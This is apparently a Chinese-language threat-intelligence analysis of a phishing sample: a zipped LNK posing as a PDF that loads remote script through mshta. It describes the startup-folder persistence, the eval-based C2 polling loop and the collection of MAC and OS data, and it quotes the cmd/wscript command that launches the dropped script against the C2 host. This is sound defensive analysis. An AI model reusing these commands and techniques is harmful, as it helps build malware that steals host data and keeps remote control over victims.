概述
样本分析
原始样本为zip包,内含一个名为New Profits Distribution.pdf的快捷方式文件,文件创建时间为2020年6月15日。
File name: New Profits Distribution.zip
MD5: 50ed1ba7abdb38d75e68258275b9f2c7
First subVT:2020-11-05
Create Time:2020-06-15
诱饵文件模仿了老版IE浏览器图标,同时添加了pdf后缀名用于迷惑用户,可惜的是诱饵名称比较通用,不能直接从文件名分析到攻击目标。
当用户运行该快捷方式文件之后,该文件将会通过mshta加载执行短域名 https[:]//bit[.]ly/31pI6gC的内容。
将该短地址还原后得到如下地址:
hxxps[:]//www[.]filehost[.]network/3tUEWfROUN3UCuD+kxiAgjYALmOOIxYtHeQL6O+6x0k=
该地址会返回一个包含了恶意JavaScript的HTML文件。
恶意HTML
该html文件主要由恶意JavaScript脚本代码构成。
js代码首先会拼接并创建Wscript.Shell对象以供后续使用,然后赋值了一个预定义的base64编码字符串。
该字符串解码之后为谷歌云盘的超链接
https://drive.google.com/file/d/1rJVzRbvviUBfjGb4yqPqbUAWNlXcEZHE/view
链接对应的文件是用于迷惑用户的诱饵文件:New Profits Distribution.pdf
脚本会通过创建的Wscript.Shell对象访问该地址并下载文件:
同时脚本还会在启动目录创建一个名为Ms.OneNote.lnk的快捷方式文件,该快捷方式同样会通过mshta加载短网址hxxps[:]//bit[.]ly/2HhIXsB的内容:
该短网址还原之后的地址如下:
hxxps[:]//www[.]filehost[.]network/e6gD3PiH+x+wgJN2jvjre+LNmw9iK0CJFv2/2AcQwQg=
脚本接着将一段base64编码的数据解码之后保存到%temp%目录下的ejtf.js文件中
最后,程序根据getProc获取到的进程信息决定使用wscript或cscript调起解码出来的ejtf.js文件。
最终执行的命令为:
“C:\Windows\System32\cmd.exe” /c start /b wscript “C:\Users\admin\AppData\Local\Temp\ejtf.js” www.filehost.network/ 1 & start /b wscript “C:\Users\admin\AppData\Local\Temp\ejtf.js” www.filehost.network/ 2
小结
原始LNK文件执行之后,样本会通过mshta加载一个html文件,该文件首先会访问Google云盘下载一个与诱饵名相符的pdf并打开用于迷惑用户,同时执行其他的恶意代码。 恶意代码的主要功能包括
- 在启动目录下释放一个快捷方式,和原始样本相同,释放的LNK文件亦通过mshta加载恶意代码执行。
- 在%temp%目录下释放并调用ejtf.js文件。
ejtf.js
js脚本在执行时首先会检查参数,并设置正确的请求协议。请求的地址由参数提供,若没有提供正确的参数,脚本退出执行,根据上面的分析可知这里的参数分别为www.filehost.network/ 1 和 www.filehost.network/ 2
脚本定义了一个获取当前计算机ID的getUID函数,该ID后续会作为请求参数的一部分发送到C2:
请求方式为POST,请求协议头由脚本组装,返回值为请求的response。
脚本最后通过一个永真循环,每15秒对参数的C2发起请求,并尝试将有效返回值base64解码之后eval执行
由于js最后是通过eval的方式进行加载后续payload,没有文件落地。攻击者使用了HTTPS协议,使得即使类anyrun这样的沙箱保留了完整的流量包,也无法解密后续payload。
从C2返回的后续payload解码后如下:
用于发送基本信息的函数,传递的地址还是szurl,也就是ejtf.js中获取到的参数
获取用户主机的mac地址:
获取操作系统信息:
拼接所有的信息并发送到C2